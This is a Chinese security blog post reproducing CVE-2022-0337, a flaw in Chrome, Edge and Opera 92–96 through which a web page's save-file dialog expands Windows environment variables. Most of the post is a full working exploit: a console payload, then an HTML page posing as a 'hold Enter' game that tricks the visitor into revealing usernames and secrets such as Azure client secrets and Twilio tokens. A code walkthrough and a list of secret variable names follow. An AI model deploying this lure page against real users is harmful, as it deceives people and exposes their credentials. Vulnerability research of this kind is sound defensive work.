有意思的CVE-2022-0337复现

2022-04-24 7,155

前言

前两天在刷tw,看到了个比较有意思的一个CVE漏洞,价值奖励是10000美🔪,比较好奇的是价值10000美🔪的漏洞是什么样子的[苦涩],漏洞利用就是需要在浏览器中进行用户交互才能触发该漏洞,但由于 Windows 的文件保存默认为接受,通过使用强制您按 ENTER 约 2 秒的技巧简单地泄漏数十个环境变量。

影响版本

Google Chrome版本范围92.x-96.x

Microsoft Edge版本范围92.x-96.x

Opera版本范围78.x-81.x

复现

在存在漏洞的浏览器F12的控制台输入payload

let a = await window.showSaveFilePicker({suggestedName:'%username%'});a.name;

但是必须要访问一个存在的html,百度首页测试

保存后控制台输出环境变量username的值

漏洞发现者为:Maciej Pulikowski,exp也是来自于作者,中间改了点样式,因为觉得有点不太美观!

EXP

<html>
  <head>
    <title>
      CVE-2022-0337 System environment variables leak on Google Chrome,
      Microsoft Edge and Opera
    </title>
    <meta charset="UTF-8" />
  </head>

  <style>
    body {
      backgroundrgba(212,0,0,0.2);
      display: flex;
      justify-content: center;
      align-items: center;
      flex-direction: column;
    }
h1,
h2,
h3 {
  -webkit-text-stroke1px #00000050;
}

h1 {
  color#d96c06;
  font-size36px;
}
h2 {
  color#1ebe8e;
  font-size46px;
}
h3 {
  color#c6f91f;
  font-size18px;
}
h2 span {
  color#cf4848;
  font-size70px;
}

#author {
  font-size28px;
}

span {
  font-weight100;
}
</style>

  <body>
    <script>
      //how many time enter clicked in row
      let countEnter = 0;
      //is file downloaded
      let isDownloaded = false;

      //on page load
      window.onload = function () {
        const body = document.querySelector("body");
        const pixel = document.querySelector("#pixel");

        body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
        body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

        const randomNumber = Math.floor(Math.random() * 990) + 1;
        const filename = `f${randomNumber}.f`;

        //List of environment variables that hacker is interested in.
        const environmentVariables = [
          "USERNAME",
          "USERDOMAIN",
          "SESSIONNAME",
          "COMPUTERNAME",
          "KEY_VAULT_URL",
          "SECRET_NAME",
          "AZURE_TENANT_ID",
          "AZURE_CLIENT_ID",
          "AZURE_CLIENT_SECRET",
          "TWILIO_ACCOUNT_SID",
          "TWILIO_AUTH_TOKEN",
          //'TOKEN',
          //'PASSWORD'
        ];

        const suggestedName =
          environmentVariables.map((x) => `%${x}%`).join("@") + filename;

        pixel.addEventListener("click"async () => {
          //handle to get file
          const handle = await window.showSaveFilePicker({ suggestedName });
          //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
          //result from user
          const username = handle.name.split("@")[0];

          const userInfo = handle.name
            .replaceAll(filename, "")
            .split("@")
            .map(
              (x, i) =>
                `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
            )
            .join("<br>");
          const guessWinPath = `C:/Users/${username}`;
          document.querySelector(
            "#userInfo"
          ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
          document.querySelector("#gameover").textContent =
            "GAME OVER - Need refresh to start again";
        });
      };

      function clickedEnter() {
        countEnter++;
        //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
        if (countEnter > 5 && !isDownloaded) {
          pixel.click();
          //set file is downloaded
          isDownloaded = true;
        }
      }

      function cancelEnter() {
        //reset count enter if enter is not hold
        countEnter = 0;
      }
    
</script>
    <!-- div used to click to open Save As dialog -->
    <div id="pixel"></div>
    <h3 id="userInfo"></h3>
    <h1>Super Simple Game<span>😻😻😻</span></h1>
    <h2><span>⌨️HOLD ENTER</span> for 2 seconds</h2>
    <h3 id="gameover"></h3>
  </body>
</html>

这里选择版本

92.0.4515.159(正式版本)


刷新页面后长按Enter键两秒即可触发payload

分析

分一下payload前面的49行之前内容是定义了html的样式,核心内容在

 <script>
      //how many time enter clicked in row
      let countEnter = 0;
      //is file downloaded
      let isDownloaded = false;
 //on page load
  window.onload = function () {
    const body = document.querySelector("body");
    const pixel = document.querySelector("#pixel");

    body.onkeydown = (e) => (e.key == "Enter" ? clickedEnter() : 1);
    body.onkeyup = (e) => (e.key == "Enter" ? cancelEnter() : 1);

    const randomNumber = Math.floor(Math.random() * 990) + 1;
    const filename = `f${randomNumber}.f`;

    //List of environment variables that hacker is interested in.
    const environmentVariables = [
      "USERNAME",
      "USERDOMAIN",
      "SESSIONNAME",
      "COMPUTERNAME",
      "KEY_VAULT_URL",
      "SECRET_NAME",
      "AZURE_TENANT_ID",
      "AZURE_CLIENT_ID",
      "AZURE_CLIENT_SECRET",
      "TWILIO_ACCOUNT_SID",
      "TWILIO_AUTH_TOKEN",
      //'TOKEN',
      //'PASSWORD'
    ];

    const suggestedName =
      environmentVariables.map((x) => `%${x}%`).join("@") + filename;

    pixel.addEventListener("click"async () => {
      //handle to get file
      const handle = await window.showSaveFilePicker({ suggestedName });
      //sometimes can throw an exception because file name is too big, but we can create more handles and put each 4 environmentVariables to deal with that problem
      //result from user
      const username = handle.name.split("@")[0];

      const userInfo = handle.name
        .replaceAll(filename, "")
        .split("@")
        .map(
          (x, i) =>
            `${environmentVariables[i]} = ${x.includes("%") ? "null" : x}`
        )
        .join("<br>");
      const guessWinPath = `C:/Users/${username}`;
      document.querySelector(
        "#userInfo"
      ).innerHTML = `USER'S ENVIRONMENT VARIABLES: <br>${userInfo} <br> guessWinPath = C:/users/${username}`;
      document.querySelector("#gameover").textContent =
        "GAME OVER - Need refresh to start again";
    });
  };

  function clickedEnter() {
    countEnter++;
    //if button was hold more then 1 second and it wasn't downloaded - we can change !isDownloaded to countEnter % 30 === 0 to download many files
    if (countEnter > 5 && !isDownloaded) {
      pixel.click();
      //set file is downloaded
      isDownloaded = true;
    }
  }

  function cancelEnter() {
    //reset count enter if enter is not hold
    countEnter = 0;
  }
</script>

看标签的话定义为JavaScript语言,泄露的配置信息在69-84行定义


在63和64行定义了长按Enter键相当于触发script标签

随机数生成文件名后缀,随机数大小为0到991,fimename=随机数.f

suggestedName格式为定义的%{x}%@filename

suggestedName=%{x}%@随机数.f






继续向下看

上述代码为触发事件操作,定义了所泄露的在environmentVariables中定义的属性,且调用属性suggestedName做打印。

所以最终在执行payload的时候保存的文件名为

%USERNAME%@%USERDOMAIN%@%SESSIONNAME%@%COMPUTERNAME%@%KEY_VAULT_URL%@%SECRET_NAME%@%AZURE_TENANT_ID%@%AZURE_CLIENT_ID%@%AZURE_CLIENT_SECRET%@%TWILIO_ACCOUNT_SID%@%TWILIO_AUTH_TOKEN%@%TOKEN%@%PASSWORD%f416.f

那么接下来需要思考两个问题

  • 泄露的漏洞触发的原理又在哪里

  • 能做什么呢?

1.根据测试,漏洞在windwos易受攻击。Linux 和Mac 是安全的,因为在命名的时候使用了ENV环境变量,所以会触发,在 Windows 中,%ENV_VAR%可以使用 来引用环境变量,文件名称的命名时利用环境变量来命名的话,在调用文件的话会返回环境变量的值。

2.因为windows中能够利用环境变量有很多,例如

AWS_SECRET_ACCESS_KEY
AZURE_CLIENT_SECRET
binance_secret
GITHUB_TOKEN
GOOGLE_API_KEY

可参考

https://github.com/Puliczek/awesome-list-of-secrets-in-environment-variables

本文作者:合天网安实验室

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/177693.html

Tags:
评论  (0)
快来写下你的想法吧!

合天网安实验室

文章数:342 积分: 877

www.hetianlab.com,网络安全靶场练习平台,涉及CTF赛前指导、职业技能训练、网安专项技能提升等。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号